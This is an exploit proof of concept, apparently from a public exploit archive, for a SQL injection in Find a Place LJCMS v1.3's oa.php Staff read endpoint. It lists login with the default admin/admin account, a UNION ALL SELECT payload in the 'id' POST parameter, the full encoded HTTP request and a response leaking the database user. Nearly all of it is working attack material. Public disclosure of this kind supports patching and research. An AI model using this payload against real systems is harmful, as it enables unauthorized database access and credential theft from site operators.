Exploit Title: Find a Place LJCMS v 1.3 - 'http://127.0.0.1/oa.php?c=Staff&a=read cate' SQL Injection

Date: 2020.02.20

Exploit Author: ZEO

Author EMail: 876054426@qq.com

CVE : N/A

Description:

Find a Place LJCMS v 1.3 suffers from a SQL Injection vulnerability.

POC:

1. Normal installation CMS, log in OA system

The default account:admin pass:admin 2. Access the following pat https://[PATH]/oa.php?c=Staff&a=read 3. You can perform a "Generic UNION query" and extract admin credentials by sending a "POST" request using the payload below

id=11) UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a6271,IFNULL(CAST(CURRENT_USER() AS CHAR),0x20),0x716b627871),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- dbyJ

Request:

POST http://127.0.0.1/oa.php?c=Staff&a=read HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 242 Origin: http://127.0.0.1 Connection: close Referer: http://127.0.0.1/oa.php?c=Staff&a=read Cookie: Hm_lvt_2a935166b0c9b73fef3c8bae58b95fe4=1581988739,1582017176,1582186745,1582248494; Hm_lvt_f3629ea9febe137b2cbf94c870fa85ce=1581991340,1582011232,1582187168; PHPSESSID=0djaeiqm2qqi35bhrlqq4cng80; Hm_lpvt_2a935166b0c9b73fef3c8bae58b95fe4=1582248500 Upgrade-Insecure-Requests: 1

id=11%29+UNION+ALL+SELECT+NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x71786a6271%2CIFNULL%28CAST%28CURRENT_USER%28%29+AS+CHAR%29%2C0x20%29%2C0x716b627871%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--+dbyJ

Response:

HTTP/1.1 200 OK Date: Fri, 21 Feb 2020 02:13:19 GMT Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9 X-Powered-By: PHP/7.2.1 X-Xdebug-Profile-Filename: D:\phpStudy\PHPTutorial\tmp\xdebug\cachegrind.out.1582251199.10712 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 296

{"data": [{"id":null,"emp_no":null,"name":null,"letter":null,"dept_id":null,"position_id":"qxjbqroot@localhostqkbxq","email":null,"duty":null,"office_tel":null,"mobile_tel":null,"pic":null,"birthday":null,"sex":null,"password":null,"is_del":null,"position_name":null,"dept_name":null}],"status":1}